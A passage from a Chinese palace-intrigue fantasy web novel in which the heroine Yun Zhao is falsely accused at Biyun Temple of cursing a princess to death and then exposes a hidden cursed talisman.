一个糊涂了半辈子的蠢钝妇人,一个初出茅庐的莽撞丫头,正好借碧云寺之行,彻底了结他们母女二人!
*
灵峰如来时一般悄然离去,未留下丝毫痕迹。
书房内,姜世安沉吟片刻,低声叮嘱姜绾心:“需要什么,尽管从公中支取,务必准备周全。
记住,到了碧云寺,万事以娘娘凤体为重,谨言慎行,莫要强出头。”
他目光深沉地看向女儿,“绾心,暂且收敛锋芒,学会忍耐。
待你日后登上太子妃之位,乃至母仪天下之时,便是如今风头无两的孟贵妃,亦需让你三分。
一时的屈身,是为日后登高,不丢人。”
姜绾心闻言,心中热潮翻涌。
想到太子殿下不仅属意于己,更为她铺路至贵妃身边,一时只觉前程似锦,满心雀跃。
她声音轻快如出谷**:“女儿明白,这就去精心准备,绝不让父亲失望!”
望着女儿离去时轻盈的背影,姜世安眼中闪过一抹晦暗。
太子的橄榄枝固然是机遇,然福祸相倚,前路吉凶难测。
回到厅堂,众人焦急的目光立刻汇聚过来。
姜世安扫视一圈,缓声道:“东宫传来消息,太子殿下安排心儿明日前往碧云寺,随侍贵妃娘娘左右。”
话音刚落,屋内气氛骤变。
二房杨氏第一个反应过来,脸上瞬间堆满夸张的笑容:“哎哟!这可是天大的恩典!
咱们心儿真是出息了,竟能得太子殿下亲自安排,去伺候贵妃娘娘!
这可是旁人求都求不来的福分呐!”
她嘴上奉承,眼角却忍不住瞟向自家女儿,闪过一丝不易察觉的嫉妒。
三房姜世忠拱手道:“大哥,此乃良机。心儿若能得娘娘青眼,日后必定前途无量。”
温氏亦轻声附和:“心儿慧黠,此行定然顺利无忧。”
“那就借三叔三婶吉言啦!”姜绾心闻言绽出一抹甜笑。
姜珩眉头微蹙:“但妹妹此行,务必谨慎。那云昭有长公主撑腰,想必也会想方设法进入碧云寺。”
“兄长别忧心。”姜绾心伸手抚住姜珩的手臂,“我知道分寸。”
老夫人却不管那么多,当场喜形于色,手舞足蹈:“好!好!”
“我就说我的心儿是有大造化的!那个从山沟里钻出来的野丫头,拿什么跟心儿比?
贵妃娘娘是太子殿下的亲表姐,心儿得了她的眼缘,那就是一步登天!压死那个丧门星带来的小贱种!”
众人反应各异,或羡或妒,或喜或忧。
唯独梅柔卿,只是静静地站在一旁,唇角笑意温婉,眼中却深藏着洞悉一切的冷沉。
宽大的袖角遮住她不久前从妆奁盒夹层里取出的袖珍布偶。
布偶背面,赫然写着云昭的名字与生辰八字!
*
次日,晨曦微露,山岚未散。
雾气之中碧云寺的轮廓渐渐显露,悠远的钟声在山谷间回荡。
云昭母女与长公主同乘一车,沿着蜿蜒的山路徐徐前行。
“这两日忙于协助秦王殿下整理案卷,未能去府上向义母请安。不知关于小郡主的后事,义母眼下有何打算?”
长公主神色一黯:“我确有些想法,只是不知是否妥当。昭儿你见事明白,可否帮义母参详一二?”
云昭略一思忖,试探道:“义母可是想将小郡主暂厝于碧云寺,请高僧诵经超度?”
“我正有此意。”长公主微蹙长眉:“只是经青莲观之祸,我如今已是草木皆兵,不敢再轻信他人。”
她说着,目光转向苏氏,语气诚挚,“今日邀昭儿与淑人同来碧云寺,一来,是帮我瞧瞧那碧云寺是否妥当。
二来,近日京城暑气渐重,碧云寺山色清幽,凉爽宜人,也是个散心的好去处。”
苏氏深知贵妃与柔妃同往碧云寺祈福乃是京城瞩目之事,长公主需居中调度,女儿同去或可相助,自己却怕帮不上忙,反成拖累。
她轻轻颔首,对长公主道:“一切但凭殿下和昭儿安排,妾身必当谨言慎行,绝不添乱。”
“夫人放宽心。”长公主莞尔:“只做寻常相处,无需过多拘礼。”
云昭掀起车帘一角,目光掠过窗外——
恰巧捕捉到两个熟悉的身影,鬼鬼祟祟地从一辆不起眼的青幔小车下来,迅速钻进了前方一驾极为华丽的马车。
是贵妃的车驾。
云昭不由在心底暗暗发笑:这母女二人倒真是锲而不舍。
看这样子,怕是天还没亮就在这庙门外守着了。
长公主顺着她的视线望去,冷哼一声,语气里满是讥诮:“真是蛇鼠一窝!”
她转过脸,带着几分无奈与不满对云昭抱怨:“本宫也真无奈,母后这几年简直像是迷了心窍,对姜绾心这等矫揉造作的女子青眼有加!”
云昭不好讲当朝太后的坏话,闻言只是淡淡一笑。
她虽精通玄术,洞察人心,但在太后偏爱姜绾心这件事上,并未察觉有何阴私手段。
这也不奇怪。<
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br>以太后那般唯我独尊的脾性,姜绾心这等曲意逢迎、处处讨巧的做派,恰恰最能迎合其心意。
坐在云昭身旁的苏氏气色不错,只是眼圈微红。
昨夜母女二人对着那叠纸张,**良久。
苏氏已不是纯真少女,经历了这些年的病痛折磨,又在鬼门关走了一遭,她早就看穿姜世安的为人。
如今这些白纸黑字的资料,只不过将她从前在心底想过无数遍的猜测彻底证实罢了。
回想过去三十余年,苏氏自觉活得糊涂。
空有诗书才学,却无识人之明,直至生死关头,才看清枕边人的真面目。
如今侥幸得活,又蒙赐诰命,她别无他愿,只盼女儿一切安好。
她绝不能拖女儿的后腿。
就在这时,车帘外传来一道低沉而略带沙哑的男声:“殿下。”
长公主闻声,面色倏地一僵,并未掀开车帘,只冷声道:“你随在车驾后面一同进去便是。”
侍立一旁的周嬷嬷面露难色,低声劝道:“殿下,驸马爷为了能与您一同护送小郡主,天未亮便在此等候了。”
长公主眉眼间闪过一抹不豫,语气却愈发强硬:“那也是他自愿!本宫未曾求他!”
云昭坐在长公主身旁,看得清楚。
长公主口中虽说的决绝,但目光却始终未曾真正离开那微微晃动的车帘,指尖亦无意识地收紧,显然并非嘴上所说的那般混不在意。
*
另一边,贵妃华丽的马车内,却是另一番暗流涌动的景象。
贵妃慵懒地靠在软枕上,梅柔卿与姜绾心分坐两侧,正低声寒暄。
贵妃慵懒地斜倚在锦缎软枕之上,梅柔卿与姜绾心分坐两侧,正陪着小心低声说话。
梅柔卿姿态放得极低:“民妇实在是放心不下心儿一个人,才厚颜一路相送到此。原只想着能与娘娘说上两句话,请过安便退下……”
贵妃眼皮懒懒一抬,声音带着几分漫不经心的雍容:“来都来了,哪有再让你折返回去的道理?传出去,倒显得本宫不近人情了。”
姜绾心面露欣喜,声音娇柔得能滴出水来:“娘娘心慈,自然是舍不得梅姨的,定是想留梅姨一同住下好多说说话呢!”
贵妃手无意识地轻护住小腹,目光却如探针般转向梅柔卿,带着一丝不易察觉的急切:
“梅氏,这里没有外人,你我不妨打开天窗说亮话。那日赏花宴上,心儿能得‘花神眷顾’……是你的功劳吧?”
梅柔卿眸中精光一闪而逝,面上却瞬间堆满惊惶,连忙摆手:“娘娘这话从何说起?真是折煞民妇了,民妇万万不敢当……”
“慌什么?”贵妃语气依旧平淡,却透着一股冷意,“那日在太后面前,是本宫替你母女二人圆的场。这份心意,你难道还看不明白?”
梅柔卿面露为难之色,嗫嚅道:“娘娘厚爱,民妇感激不尽。只是……民妇所学浅薄,只怕……”
贵妃忽地娇媚一笑:“本宫不需要你懂什么移山倒海的大本事。只需有办法,让阮氏那个**,保不住她肚子里的那块肉,就足够了。”
恰在此时,车帘被山风轻轻掀起一角。三人不约而同地向外望去。
只见一个英武挺拔的男子,正立于长公主的车驾旁。
男子一袭劲装常服,眉眼深邃,气质沉稳,却对着那紧闭的车帘,流露出几分与他周身气度不甚相符的踌躇。
孟贵妃盯着那道身影,姣好面容瞬间蒙上一层阴鸷,从齿缝间挤出低语:
“……真是窝囊!枉费了一副好皮囊,竟被个老妇拿捏至此!”
第50章 姜云昭咒**了!
姜绾心适时地流露出好奇:“那位是……?”
梅柔卿飞快地瞟了一眼贵妃的脸色:“那位便是长公主殿下的驸马爷。”
“驸马?”姜绾心故作惊讶,“瞧着竟如此年轻俊朗,与长公主殿下……”
梅柔卿见贵妃并未出声制止,反而唇角紧抿,便继续煽风点火:
“谁说不是呢!长公主殿下当年是二嫁之身,却执意下嫁这位年纪轻轻的卫将军,朝野上下非议之声不小。
都说她是仗着天家威势,逼得卫将军不得不屈从。
此事,你父亲当年也曾痛心疾首,上本直谏过……
可惜啊,拗不过长公主一意孤行,圣上又素来偏袒这位皇姐……”
“什么一意孤行?分明是恬不知耻!”
孟贵妃终于按捺不住,声音陡然拔高,带着尖厉的刻薄,
“半老徐娘,人老珠黄,还不知安分!仗着身份强占年轻才俊,简直将皇家的颜面都丢尽了!”
她胸口微微起伏,显是动了真怒。
姜绾心仔细观察着贵妃脸上那混合着嫉妒与不甘的神情,目光又在那位英武的驸马身上流转一番,忽然以一种天真又担忧的语气轻声道:
“说起来,这碧云寺祈福,往来多是女眷内眷。驸马爷这般紧随长公主殿下入住……是否有些不便?
万一惹出什么风言风语,可就不好办了。”
此言一出,孟贵妃眸中骤然闪过一道幽深晦暗的光芒。
梅柔卿与姜绾心见了,悄然交换了一个心照不宣的眼神。
“话是这么说。”梅柔卿故意蹙着眉道:“若真发生了点什么,驸马爷身为男子,倒也不会怎么样。但若是女子,殃及名声,可就糟了。”
孟贵妃若有所思,眸中闪过一抹幽深。
*
一行人下了马车,随行的仆从捧着各式物品,队伍井然有序。
其中一人格外谨慎地怀抱着一只尺余见方的紫檀木盒,悄然混在诸多行李之中,并未引起旁人过多注目。
行至慈安殿前,长公主脚步微顿,与云昭对视一眼,两人默契地相携步入殿内。
驸马沉默地跟在长公主身后。
这一次,长公主并未如往常般出言驱赶。
殿内香烛氤氲,梵音低回。
一位眉须皆白、身着素色袈裟的老僧正从蒲团上缓缓起身。
他面容清癯,眼神澄澈通透,仿佛能映照世间万相,洞悉一切悲欢。
长公主强忍眼中酸涩,声音带着不易察觉的颤抖:
“闻空大师,信女已将我儿宝珠的骸骨请回。
万望大师慈悲,为她设下往生莲位,诵经四十九日,助她早登极乐,脱离苦海。”
她从侍从手中接过那只紫檀木盒,双手恭敬地递予闻空大师。
闻空大师双手合十,低宣一声佛号:“阿弥陀佛。”
他郑重接过木盒,“殿下节哀,保重凤体为上。老衲定当竭尽所能,愿郡主早得解脱,魂归安宁。”
云昭一路行来,目光悄然掠过殿内布局与气场流转。
她的视线与闻空大师在空中短暂交汇,老者目光温和似水,却蕴含着一种直指人心的穿透力。
云昭心头微凛。
闻空大师看向云昭,语气平和:“这位施主,想必便是近日京中盛传的‘小医仙’了?”
云昭淡然道:“大师谬赞。”
闻空大师微微颔首:“张**的尸骨可好生安葬了?”
云昭默然片刻,方道:“师门罹难,遗骸皆成焦骨。我将他安葬在他最钟爱的临水桃林,临行前,打了两壶他从前最爱的老酒。”
闻空大师叹道:“皮囊焚尽,魂魄方得自在。张**是修行之人,早已超脱形骸束缚,想必不会在意这些。”
他言语含蓄,却意有所指,“云施主不必过于自责。世事缘法,皆有定数,非你之过。”
云昭曾听师父提及这位闻空大师,今日一见,知其果然同她一样,天生玄门慧根,且心境修为更为超脱。
而她自问,仍是红尘中一俗人。
她唇角勾起一抹笑:“大师境界高远,晚辈钦佩。然我只是一介俗人,恩必偿,仇必报,但求此生快意,无愧于心。”
闻空大师听了,也不再说什么。
他的目光又落到长公主身后的驸马身上:“请殿下、卫将军随老衲至后殿禅房细叙。”
不多时,驸马先一步出来了。
神色郑重,拱手行了一礼:“卫某听秦王殿下提及,此番能寻回宝珠,多亏姑娘殚精竭虑。
卫某乃一介武夫,别无所长,但姑娘日后若有所需,卫某定义不容辞,愿效犬马之劳。”
“将军言重了。”云昭轻轻摇头:“此事本受秦王殿下与义母所托,分内之事。况且,真凶尚未伏诛,宝珠冤屈未雪。”
她话语微顿,意有所指地看向卫临,“将军若有心,不妨……对义母多加看顾。”
卫临英挺的眉宇紧蹙,面上流露出几分苦涩:“自三年前宝珠失踪,殿下便……不愿再见我。纵有千万心意,亦难以传达。”
二人正说话间,忽听身后传来一名侍女惊慌失措的尖叫声:“救命啊!快来人啊!出人命了!”
云昭转身,见是个面生的侍女,站在原地一时没有动。
倒是身旁跟着的莺时小声提醒:“奴婢瞧着,倒像是那位南华郡主身边的人。”
那侍女已涕泪交加地哭喊:“有没有会医术的贵人?求求你们,救救我家郡主吧!”
今日碧云寺因长公主与两位妃嫔驾临,除了云昭、姜绾心等人,亦有几位身份高贵的女眷在场。
驸马卫临见状,已不假思索地朝那侍女方向快步奔去。
云昭皱了皱眉。
这
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卫将军,瞧着英武不凡,没想到内里并不像萧启那般审慎,竟是个耿直的实心眼!
云昭带着莺时,也跟在后面。
随着那侍女引路,不多时,便见一株古树下已围了不少人。
人群中不知是谁先高喊了一声:“小医仙来了!快让开!让小医仙给郡主瞧瞧!”
人群竟应声分开一道缝隙,无数道目光齐刷刷投向云昭。
其中更有一名面生的少女急切地冲上前欲拉扯她:“快!快过来救人!”
云昭目光锐利如电,迅速扫过人群,却未能立即锁定最初发声挑动之人。
她后退半步,灵巧地避开了那少女的触碰:“郡主既突发急症,何不赶紧就医?这般躺在地上,若是耽搁病情,你们谁担得起?”
那面生的女子闻言一怔,似有些恼怒:“你不就是医者?为何见死不救!”
云昭唇角勾起一抹淡然而疏离的弧度:“我行医,有三不看。”
“一眼看上去救不活的,不看;
跟我有仇的,不看;
病因蹊跷、来历不明者,亦不看。”
此言一出,人群之中顿时响起一片哗然之声。
就连一旁原本面露焦灼的驸马卫临,也不由得眉头紧锁,看向云昭的目光中充满了惊疑与不解。
就在这时,原本“昏迷”在地的南华郡主竟猛地一跃而起,动作利落地拍打着衣裙上的尘土,理了理微乱的钗环,对着周围众人扬声道:
“瞧见了没?本郡主就说她是个徒有虚名的草包!不过是仗着牙尖嘴利,故弄玄虚罢了!我可曾说错?”
围观的众人看向云昭的目光一时变了。
“哟,好一个清高的小医仙!”
南华郡主抱着手臂走上前,趾高气扬地踱到云昭面前,
“本郡主听说,你那病秧子娘亲,可是在那腌臜污秽的青莲观里,跟那些不三不四的人鬼混了整整十日呢!
谁知道是不是染上了什么见不得人的脏病,才让你这般忌讳,连把个脉都不敢?”
说着,她竟伸手想去掐云昭的脸颊。
云昭在她逼近时已隐隐察觉不对,此刻凝神细看其面相,只见她印堂之下隐有一道赤丝如蚯蚓般蠕动,直犯疾厄宫。
云昭冷声警告:“凝神静气,收敛妄念!否则顷刻之间,必有血光之灾!”
南华郡主像是被踩了尾巴的猫,尖声指着她叫道:“你敢咒我?!怪道旁人说你邪性,是个妖……”
“女”字尚未出口,她喉咙里猛地发出“咯咯”异响!
脸色瞬间由红转青,随即“哇”地一声,大口大口的暗红色鲜血从口中狂涌而出!
云昭蹙眉,下意识疾退一步,裙角却仍被溅上血迹。
几乎同时,一道尖利的女声惊恐叫道:
“**了!姜家大小姐**了!她咒**南华郡主!”
第51章 把这个姜云昭就地打死!
南华郡主瘫软在地,口中不断呕出暗红的血液,面色以肉眼可见的速度灰败下去。
方才那声尖厉的指控,如同冷水泼入滚油,瞬间将现场的猜疑与恐慌引爆至顶点!
“难道真是咒术?姜云昭刚说郡主会有血光之灾,郡主就……”
“简直太邪门了!”
“呕这么多血,怕是救不过来了!”
人群骚动着,不由自主地向后退去。
他们看向云昭的眼神充满了恐惧与排斥,仿佛在看什么不祥之物。
就在这时,一位珠环翠绕、衣着华贵的贵妇人在侍女搀扶下踉跄冲来,正是南华郡主之母——安王妃。
她一见爱女惨状,顿时目眦欲裂,扑上前抱住南华郡主,声音凄厉:“倩波!我的儿!你这是怎么了?!”
先前那个怂恿云昭救人的少女,此刻面无人色,指着云昭颤声道:“王妃!是、是姜家小姐……她咒杀了郡主!”
安王妃猛地抬头,怒斥:“胡言乱语!”随即朝身后嘶吼:“随行太医呢!死哪里去了!快滚过来救治郡主!”
周围的人群却七嘴八舌地附和起来:
“王妃,此事千真万确!”
“两人方才争执起来,姜小姐怒极,说让郡主闭嘴,‘否则顷刻之间,必有血光之灾’!紧接着,郡主便呕血不止了!”
“是啊!郡主呕血前,还在斥责姜小姐邪性,会咒人呢!”
“若不是邪咒,怎会毫无征兆就吐血至此?”
安王妃抱着怀中气息越来越微弱的女儿,赤红的双眼狠狠瞪向云昭:“把这个谋害郡主的**给我就地打死!”
几名膀大腰圆、面目凶悍的婆子立刻挽袖上前,手中竟持着寺庙中清扫庭院的实心木棍!
卫临一个箭步挡在云昭身前,沉声道:“王妃息怒!事情尚未查明,岂可动用私刑?这世上岂真有咒杀之事?”
安王妃已是悲愤攻心,咬牙切齿:“是她与我儿争执!是她出言诅咒!我不管什么真相!谁敢害我的倩波,我就要她偿命!”
卫临寸步不让:“云昭姑娘乃是长公主殿下义女!安王妃如此贸然行事,恐有不妥!”
此时,一道娇柔婉转的声音恰到好处地响起,带着几分担忧:
“王妃还请三思,毕竟事情尚未水落石出。尤其阿姊她……怎么说也是得了秦王殿下青眼的人呢。”
云昭抬眼望去,只见姜绾心不知何时已悄然来到近前,站在人群最前方。
她目光越过众人,落在云昭身上,语气听起来满是劝慰,实则字字淬毒:
“阿姊,快莫要与郡主置气了。上次在宫中,郡主确曾与你有过几句不快,但那也不过是女儿家玩闹罢了。”
她声音发颤,隐隐透着恐惧,“阿姊怎能……怎能真的狠下心肠,动用这般恶毒的手段?快把咒术解开吧!毕竟是一条人命啊!”
安王妃闻言,怒火更炽:“连你亲妹妹都如此说,你还有何狡辩!”
姜绾心又道:“阿姊,王妃面前,万不可再像从前那般任性,动辄挥鞭伤人了。
梅姨的脸至今未愈,方才让有悔大师看过,大师说只差一点,梅姨的脸就彻底毁了。”
她捂着脸颊,似是不忍到了极点:“此处不比家中,阿姊定要冷静,切莫一错再错了!”
此言一出,顿时引来众人哗然!
“什么?那梅氏的脸竟是她用鞭子抽伤的?”
“前些日子花神宴那回我便瞧见了,伤口深得很,连粉都遮不住!”
“这姜家大小姐可真够歹毒的,难怪会对郡主行此邪术!”
云昭冷冷地睇了姜绾心一眼,眸中寒光乍现。
姜绾心却全然不畏,唇角轻绽,眸中尽是得意。
“好!好一个心狠手辣的东西!”安王妃怒极反笑:“既然这般爱动手,今日就成全了你!给我拿下,生死勿论!”
那几名持棍婆子得令,凶神恶煞般地直扑云昭!木棍带着风声狠狠砸下。
卫临将云昭护在身后,肩头结结实实挨了两记重棍,发出沉闷的响声,但依旧死死护住云昭,寸步不退。
“都给本宫住手!”
长公主威严含怒的声音骤然响起,打破了混乱。她在周嬷嬷的搀扶下疾步而来,凤目含威,扫过全场。
“安王妃好大的威风!佛门清净之地,你竟纵容恶奴,对本宫的驸马动起手来了?”
“那也是他自找的!众目睽睽之下,非要护着那个小**!”
安王妃双目赤红,指着云昭尖声道,“你的好义女!她用邪术活生生咒**我的倩波!”
长公主走到近前,目光掠过卫珩肩上衣袍的破损与隐隐渗出的血迹,眉头不由紧蹙。
待看清安王妃怀中南华郡主的惨状,亦是面色一凝:“这……究竟是怎么回事?”
人群中立刻有人抢答:“是姜云昭!她与郡主口角,便下咒害了郡主!”
“荒谬!”长公主不由冷笑一声:“本宫的义女若真想取人性命,怎会蠢到在众目睽睽之下动手?”
她目光冷厉,扫过众人,“你们谁会这般蠢钝?”
此言一出,在场一片寂静,众人面面相觑,眼中疑色顿起。
就在这时,随行的御医提着药箱,满头大汗地跟着婢女跑来。
他俯身探查南华郡主的脉搏,又颤抖着手去试鼻息,当即面如土色,冷汗涔涔而下:
“回、回王妃……郡主她,脉息全无,已然气绝了。”
“你胡说!庸医!再诊!”
安王妃紧紧抱住女儿逐渐冰冷的身体,状若疯魔,“倩波若救不回来,你们所有人都得给她陪葬!”
人群之中,不知是谁低声嘀咕了一句:“不是说……小医仙妙手回春吗?何不让她试试?”
立刻有人反驳:“你疯了吗?本就是她捣的鬼,她怎会真心救人!”
“阿弥陀佛。”闻空大师沉稳的佛号再次响起,他缓步而来,朝众人合十一礼,“王妃,可否让老衲一观?”<
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br>众人下意识让开一条通道。
闻空大师走近,目光在南华郡主的脸上停留片刻,又仔细查看了她的眼睑,沉吟道:
“王妃若信得过老衲,请即刻将郡主移至清净厢房。”
他的目光随即转向云昭,意味深长,“云施主,也请随老衲一同前来。”
无需多言,在场所有人都不由自主地紧随其后,涌向厢房。
*
厢房内,南华郡主被小心安置在床榻之上,面色死灰,气息全无,俨然与**无异。
闻空大师取出一只古朴的铜钵,注入清水,又拈起一道明黄符纸,指尖轻捻,符纸无火自燃,灰烬落入水中。
他手持铜钵,缓步绕榻而行,口中念念有词,最终,铜钵在郡主额前三寸处缓缓移动。
只见钵中清水,无风自动,隐隐泛起一丝黑红交织的浊气,仿佛有无形之物在其中挣扎。
“阿弥陀佛。”闻空大师停下脚步,将铜钵示于众人:
“郡主此状,非寻常中咒,乃是阴邪煞气侵体,如恶藤缠树,蚀其神魂。”
众人闻言,俱是一呆。
一位胆小的贵妇人颤声问道:“大师,这‘阴邪煞气’,究竟是何物?”
闻空大师却未直接回答。
他目光转向云昭,双手合十,语气竟是带着几分请教意味:
“云施主慧眼如炬,玄术精湛,想必早已勘破此中关窍。不知老衲所言可对?”
云昭心知闻空大师故意当着众人的面这样问,是想为她正名。
她沉默片刻,淡声开口:“大师所言无错。
当时郡主在树下,众目睽睽之下,污言秽语辱我娘亲清白。
我见她印堂之下,隐有一道赤红血丝,如小蛇游走,直犯疾厄宫。
当时出言警示,是望她平心静气,莫再激动。否则赤丝入眼,便是神仙也难救!”
“赤丝入眼,这是何意?”安王妃厉声质问,可姿态却已不如先时强硬。
“王妃若一直这般急躁凶悍,可没人……”
李灼灼心直口快,话未说完,便被英国公夫人一把拽到身后。
英国公夫人和李灼灼母女二人,是与长公主前后脚赶来的。
此刻她紧紧拽着李灼灼的手,温声打圆场道:“安王妃爱女心切,加之受人误导,才对云昭小姐有所冒犯。
云昭小姐,你既已看出端倪,不妨直言。
闻空大师德高望重,你亦心怀慈悲,若能合力寻得一线生机,救下郡主,亦是功德一件。”
一旁,闻讯匆匆赶来的苏氏,站在人群外围,双手紧握,满眼皆是担忧地望着女儿。
云昭忽然轻笑了一声,笑声里透着毫不掩饰的冷意:
“王妃,诸位夫人、小姐,莫非忘了前因?
南华郡主假装晕死,指使婢女构陷于我,逼我行医示众在前;
凭空捏造、当众诋毁我母亲清白在后!
试问,如此用心险恶、品行卑劣之人,我云昭,为何要救?”
第52章 去敲登闻鼓!
此言一出,在场俱是一静。
像英国公夫人和李灼灼这样,闻讯后来的不在少数。
众人面面相觑,看向床上南华郡主的眼神顿时变了味。
“两位娘娘和殿下驾临的大好日子,她居然躺在树下装死?简直作死!”
“何止!竟还敢辱骂朝廷命妇?云小姐的母亲,可是陛下亲封的三品淑人!”
“换做是我,受此奇耻大辱,也断不会救!”
云昭目光锐利,直逼安王妃:“我母亲苏氏,是陛下御笔亲封‘秉性忠坚,智勇兼资’的三品淑人!
可在南华郡主口中,却成了与人在道观鬼混的无耻之徒!
安王妃,我倒要请教——
郡主这番话,将陛下的圣意嘉奖置于何地?是认为陛下识人不明吗!”
此言一出,安王妃脸色难看至极。
先前还想打圆场的英国公夫人也皱紧眉头,沉声问道:“南华郡主当真如此口无遮拦?”
站在身旁的几位宗亲贵妇,也都纷纷朝苏氏投去怜悯的目光。
几位之前围着南华郡主奉承的贵女,此刻都低垂着脸。
人群之中,有人小声道:“是……郡主确是这么说的……”
安王妃色厉内荏,强自镇定:“就算倩波一时失言,也绝非有心之过!
我家倩波是圣上亲封的郡主,我夫君是圣上堂弟,皇室宗亲!圣上宽厚,必不会因小辈几句气话而怪罪!”
她转而将矛头指向云昭:“反倒是你,身为医者,心胸狭窄,见死不救,简直有辱医德!”
云昭坦然迎上她的目光,唇角勾起一抹嘲讽的弧度:“王妃提醒的是。
我这个‘心胸狭窄’之人,正该去敲一敲登闻鼓,也好让满朝文武都来评评理——
到底是圣上亲赐的圣旨作数,还是南华郡主的当众唾骂作数?
此事关乎天家颜面,自然该请陛下圣心独断,也好还我母亲一个公道!”
“你、你岂敢——!”
安王妃气得浑身发抖,却见云昭神色凛然,分明是寸步不让。
她慌忙转向闻空大师,语带哭腔,几乎是在哀求:“大师!求您发发慈悲,施展妙手,救救小女!她年纪尚轻,不该受此折磨啊!”
闻空大师摇了摇头:“郡主神魂已被煞气禁锢,形同槁木,若不能及时化解,便会如活**一般,长睡不醒。至多三五年光景,生机便要耗尽。”
安王妃脚下一软,若非嬷嬷及时扶住,几乎瘫倒在地。
闻空大师话锋一顿,目光再次落回云昭身上,意味不言而喻:“老衲虽能勘破此煞,到底却不精通此道,除非……”
云昭心中莞尔:这老和尚,不仅深谙人心,行事竟毫不迂腐。
倒真是个妙人。
安王妃脸上最后一丝血色也褪尽了。
她望着榻上气息奄奄的女儿,再环视四周——
那些昔日巴结奉承的面孔,此刻或冷漠旁观,或隐含讥诮。
她终于明白,今日若不将这口气咽下,当众向姜云昭低头,女儿的命恐怕真要断送在此。
挣扎片刻,终究是对女儿的疼爱,暂且压过了本性的傲慢。
她一步步走到云昭面前,昔日的高高在上荡然无存,当着众人的面,对着云昭深深一福,声音带着**的颤抖:
“姜小姐……千错万错,都是我管教无方,纵得她无法无天……是我糊涂,听信谗言,冤枉了你!在此……给你赔罪了!”
她咬着唇,几乎渗出血丝,每一个字都像是从牙缝里挤出来,
“求你……求你大**量,救救倩波!只要你能救倩波,任何条件,本王妃……无有不从!”
这时,长公主也适时开口,语气温和:“昭儿,安王妃既已诚心道歉,你若知晓解法,不妨施以援手。”
隐在人群后方的姜绾心,面上作出与他人一般忧心忡忡的表情,袖底的指甲早已深深掐入掌心。
又是这样!
这安王妃瞧着不可一世,到头来也是个色厉内荏的无用之辈!
堂堂王妃,却被一介行走江湖的低贱女子拿捏至此!
云昭将众人反应尽收眼底,尤其是安王妃那强忍**的模样,让她心中冷笑。
她缓缓开口,声音清越:“好,既然王妃‘诚心’道歉,义母也开了金口。要我救南华郡主,可以。但我有两个条件。”
她目光如炬,直视安王妃:“第一,待南华郡主醒来,她必须当着今日在场所有人的面,向我母亲叩首赔罪,澄清污蔑,还我母亲清白!”
安王妃脸皮抽搐,**万分,却只能从牙缝里挤出两个字:“……依你!”
“第二,”云昭语调平稳,却带着一丝凛冽,“我要知道,是谁在背后,给了南华郡主熊心豹子胆,让她敢如此肆无忌惮地构陷于我!”
此言一出,安王妃眸光猛地一颤,随即面含杀气,朝围观众人扫视而去!
人群之中的姜绾心,脸色瞬间煞白,下意识地后退了半步,脊背窜上一股寒意。
云昭目光清冷,如寒潭映月,缓缓扫过守在南华郡主身畔的仆从:
“郡主身边贴身伺候的嬷嬷和婢女,现在何处?”
一位鬓发微霜的老嬷嬷并两个年轻婢女战战兢兢地出列。
其中那个眉眼伶俐的,正是先前冲进慈安殿、高声嚷嚷出了人命的绿衣少女。
云昭审视三人,声音不高,却让人不敢无视:“南华郡主是遭人暗算,中了极阴损的术法。凡此恶咒,必有凭依。
你们仔细回想,郡主近来身上,可有什么新得的、从不离身的古怪物件?”
两个年轻婢女闻言,脸色唰地惨白,互看一眼,扑通一声齐齐跪倒,浑身抖如筛糠。
先前那绿衣婢女带着哭腔道:“有、有的……
郡主月前得了一枚桃花符,宝贝得跟什么似的,用锦囊装了,日夜贴身戴在胸口,连沐浴时都不许奴婢们碰一下……”
安王妃又惊又怒:“什么桃花符?还不快取出来!”
“她们碰不得。”云昭的目光睇着安王妃,冷然道,“为免咒术反噬,殃及郡主,还要请王妃这位血脉至亲,以母女连心之气为引,方能安然取出。”
安王妃脸色瞬间惨白如纸。
云昭心中冷笑,此事,原本并非她不可。
但这安王妃与南华郡主母女一般,骄横跋扈,极是难缠。
今日若不让她亲身经历这提心吊胆之苦,日后难免翻脸不认账,甚至反咬一口。
此举,正是要她好好地长长记性。
云昭道:“取一块无味的白帕子,取出郡主胸口的桃花符。”
在众人注视下,安王妃颤抖着手,取过侍女递来的素白无香丝帕。
她如捧着千斤重担,一步步挪到床榻边,深吸一口气,小心翼翼地探入女儿怀中。
摸索片刻,终于自南华郡主的荷包之中,掏
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出一个三角符咒。
符咒颜色诡艳,质地滑腻,竟不似寻常纸帛。
安王妃用帕子托着那符,如同捧着滚烫的山芋,满眼无措地望向云昭。
“置于这边案上。”云昭指挥若定,转而问道,“可有**或小刀?需得是饮过血、带煞气的利器方佳。”
“我有!”李灼灼立刻从腰间解下一把镶嵌宝石的精致**,不顾英国公夫人警告的眼神,利落地递上,“云昭,给!”
云昭接过,指尖轻抚过冰凉锋利的刃口,赞道:“是把好刀,煞气足,正合用。”
她对安王妃道,“王妃需知,用过此次,此刀灵性尽毁,与凡铁无异了。记得事后赔七姑娘一把好刀。”
安王妃此刻只求女儿能醒,连连应承:“自然,自然!只要倩波能好,莫说一把刀,便是十把百把也使得!”
“好,”云昭声音一沉,目光锐利,“现在,请王妃用此刀,亲手划开这符咒!”
安王妃手抖得几乎握不住**。
在云昭平静却极具压迫感的注视下,终于咬紧牙关,将刀尖抵在那诡异的艳粉色符纸上,用力一划——
“嗤啦”一声轻响,符纸破裂,一股若有似无的腥腐气味顿时弥漫开来。
只见符纸之内,赫然是几截乌黑干枯、细如针骨的不知名兽骨,以及一团纠缠的灰败毛发!
“啊!”周遭顿时响起一片压抑的惊呼,几位胆小的夫人小姐甚至掩面后退。
这等邪秽之物,任谁看了都知绝非正道!
安王妃见状,双腿一软,再也顾不得王妃仪态,伸手扯住云昭的衣袖,涕泪横流:
“姜小姐,求你不计前嫌,一定要救醒倩波!”
云昭却从那邪物上残留的气息中,捕捉到一丝极隐秘的熟悉感——
阴冷、缠绵,竟与萧启身上所中的桃花煞同出一源!
她心中一震,面上却不露分毫。
她目光掠过安王妃涕泪四流的脸。
心知这等权贵,此刻迫不得已,卑微至此,来日安稳,必会记恨今日之辱。
她略一沉吟,忽然扬声道:“去个人,请秦王殿下。”
安王妃猛地抬头,惊愕万分:“为何要请秦王殿下?”
云昭唇角勾起似笑非笑的弧度:“自是请殿下做个见证。
万一我这‘小肚鸡肠’之人救治不力,或是郡主情势有个什么反复,有秦王殿下在场,也免得安王妃您一怒之下,又要派人来索我的命呀。”
安王妃被这话噎得脸色一阵青一阵红。
